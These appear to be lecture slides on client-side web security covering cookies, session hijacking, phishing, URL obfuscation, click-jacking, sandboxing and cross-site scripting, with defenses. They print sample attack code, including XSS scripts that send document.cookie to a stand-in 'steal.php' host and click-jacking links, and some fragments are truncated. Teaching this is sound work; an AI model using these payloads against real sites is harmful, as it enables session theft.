Attacks on Client
Sessions and Cookies

- User behavior on a web site can be tracked using Cookies
- User session information can be maintained using the following methods:
  - GET method
  - POST method
  - Cookies

Attacks:
- Session Hijacking

How cookies work

1. You get on the Web...
2. … and request information from a Web site.
3. When the Web site server replies, it sends a cookie...
4. … which your computer puts on your hard drive.
5. When you get online to return to the Web site...
6. … your computer sends the cookie back...
7. … where the Web site server identifies you and records data that can be shared with other online sellers.

Source: www.flatworldknowledge.com
Figure 7.11: The contents of a cookie viewed using a Firefox cookie editing plugin. The name and content fields correspond to the key-value pair of the cookie. The domain name .paypal.com specifies that this cookie is valid for this top-level domain and all subdomains, and the path / indicates that it applies to the root directory of the site. Finally, the send for value indicates that this is not a secure cookie, and the expiration date specifies when this cookie will be automatically deleted.
Sessions Using **GET** or **POST**

- User session can be maintained by passing session information to the web server using **GET** or **POST** each time the user navigate to the web site.
- The Web site incorporate hidden fields into the web site source code to capture the user session info.
- **GET /POST** methods will be used by the user web browser to return the user’s session information to the web server.
Server-side Sessions

- User information can be maintained on web server by using a method based on session token or session ID.
- Each user will be assigned a unique session ID that correspond to the user’s session.
- When the client navigates to the a new page on the web site, it transfer it session ID to the web server.
- Web server uses the session ID to retrieve the user’s session information.

Figure 7.12: Creating a web session using a session ID.
Session Hijacking

- Session hijacking allow an attacker to hijack an active HTTP session
- Attacker needs to intercept the communication between the client and the web server
Defenses Against HTTP Session Hijacking

- Using a packet sniffer an attacker can mimic a session token

Defensive Techniques:
- When sessions are established using client-side token, the web server can **encrypt** such session token
- **Pseudo-random number** can be used to generate unpredictable session token
Phishing

- Forged web pages created to fraudulently acquire sensitive information
- User typically solicited to access phished page from spam email
- Most targeted sites
  - Financial services (e.g., Citibank)
  - Payment services (e.g., PayPal)
  - Auctions (e.g., eBay)
- 45K unique phishing sites detected monthly in 2009 [APWG Phishing Trends Reports]
- Methods to avoid detection
  - Misspelled URL
  - URL obfuscation
Phishing Example

Figure 7.14: A phishing attack based on a misspelled URL, which could, for example, have been included in a spam email asking a customer to check their account balance: (a) The real web site. (b) A phishing web site.
URL Obfuscation

- Properties of page in previous slide
  - Actual URL different from spoofed URL displayed in address bar

- URL escape character attack
  - Old versions of Internet Explorer did not display anything past the Esc or null character
  - Displayed vs. actual site
    http://trusted.com%01%00@malicious.com

- Unicode attack
  - Domains names with Unicode characters can be registered
  - Identical, or very similar, graphic rendering for some characters
  - E.g., Cyrillic and Latin “а”
  - Phishing attack on paypal.com
  - Current version of browsers display Punycode, an ASCII-encoded version of Unicode: www.xn--pypal-4ve.com

http://www.anti-phishing.com
Click-Jacking

- Click jacking is a form of web site exploitation where the user mouse click on a page in a way that was not intended by the user.

\[\text{<a onMouseUp=window.open(http://www.evilsite.com) href=http://www.trustedsite.com/>Trust me!</a>}\]

- The code uses the javascript function `window.open` that directs the user to the evil site.
- Users think that they are clicking visible buttons, while they are actually performing actions on the invisible page.

**Example: Likejacking**
Click Fraud

• Click-Jacking can be used in advertisement fraud.
• The attack forces the users to click on the advertisement raising the fraudulent website revenue.
JavaScript

• Scripting language interpreted by the browser
• Code enclosed within `<script> ... </script>` tags
• Defining functions:
  
  ```javascript
  <script type="text/javascript">
    function hello() { alert("Hello world!"); }
  </script>
  ```
• Event handlers embedded in HTML
  
  ```html
  <img src="picture.gif" onMouseOver="javascript:hello()">
  ```
• Built-in functions can change content of window
  
  ```javascript
  window.open("http://brown.edu")
  ```
• Click-jacking attack
  
  ```html
  <a onMouseUp="window.open('http://www.eylsite.com')"
  href="http://www.trustedsite.com/">Trust me!</a>
  ```
Sandboxing

- Sand box refers to the restricted privileges of an application or a script that is running inside another application.
- JavaScript have no ability to execute code on a user machine or affect web sites open in another browser window.

Figure 7.15: Actions restricted to a sandbox.
Vulnerabilities in Media Content

**ActiveX Control**
- Windows-only technology runs in Internet Explorer
- Binary code executed on behalf of browser
- Can access user files
- Support for signed code
- An installed control can be run by any site (up to IE7)
- IE configuration options
  - Allow, deny, prompt
  - Administrator approval

**Java Applet**
- Platform-independent via browser plugin
- Java code running within browser
- **Sandboxed** execution
- Support for signed code
- Applet runs only on site where it is embedded
- Applets deemed trusted by user can escape sandbox
Cross Site Scripting (XSS)

- Attacker injects scripting code into pages generated by a web application
  - Script could be malicious code
  - JavaScript (AJAX!), VBScript, ActiveX, HTML, or Flash

- Threats:
  - Phishing, hijacking, changing of user settings, cookie theft/poisoning, false advertising, execution of code on the client, ...

Figure 7.16: In an XSS attack, the attacker uses the web site as a vector to execute malicious code in a victim’s browser.
XSS Example

• Website allows posting of comments in a guestbook
• Server incorporates comments into page returned
  <html>
  <body>
  <title>My Guestbook!</title>
  Thanks for signing my guestbook!<br/>
  Here's what everyone else had to say:<br/>
  Joe: Hi! <br/>
  John: Hello, how are you? <br/>
  Jane: How does this guestbook work? <br/>
  </body>
</html>

• Attacker can post comment that includes malicious JavaScript
  Evilguy: <script>alert("XSS Injection!");</script> <br/>

guestbook.html

<html>
<title>Sign My Guestbook!</title>
<body>
Sign my guestbook!
<form action="sign.php" method="POST">
<input type="text" name="name">
<input type="text" name="message" size="40">
<input type="submit" value="Submit">
</form>
</body>
</html>
Cookie Stealing XSS Attacks

```html
<script>
    document.location = "http://www.allsite.com/
    steal.php?cookie=" + document.cookie;
</script>

Code Fragment 7.10: A Javascript function that could be used to steal a user’s cookie.

```html
<script>
    img = new Image();
    + document.cookie;
</script>

Code Fragment 7.11: Using an image for XSS,

```html
<iframe frameborder=0 src="" height=0 width=0 id="XSS"
    name="XSS">"</iframe>
<script>
    frames["XSS"].location.href="http://www.allsite.com/steal.php?cookie="
    + document.cookie;
</script>

Code Fragment 7.12: Using a hidden iframe for XSS.
```
Another XSS Attack

• Mallory finds that Bob’s site is XSS type 1 vulnerable
• Mallory makes a tampered URL to use this vulnerability and sends to Alice an email pretending to be from Bob with the tampered URL
• Alice uses the tampered URL at the same time while she is logged on Bob’s site
• The malicious script is executed in Alice browser
• Unbeknown to Alice, the script steals Alice’s confidential information and sends it to Mallory’s site
Client-side XSS defenses

• Proxy-based:
  • Analyze HTTP traffic between browser and web server
  • Look for special HTML characters
  • Encode them before executing the page on the user’s web browser (i.e. NoScript - Firefox plugin)

• Application-level firewall:
  • Analyze HTML pages for hyperlinks that might lead to leakage of sensitive information
  • Stop bad requests using a set of connection rules

• Auditing system:
  • Monitor execution of JavaScript code and compare the operations against high-level policies to detect malicious behavior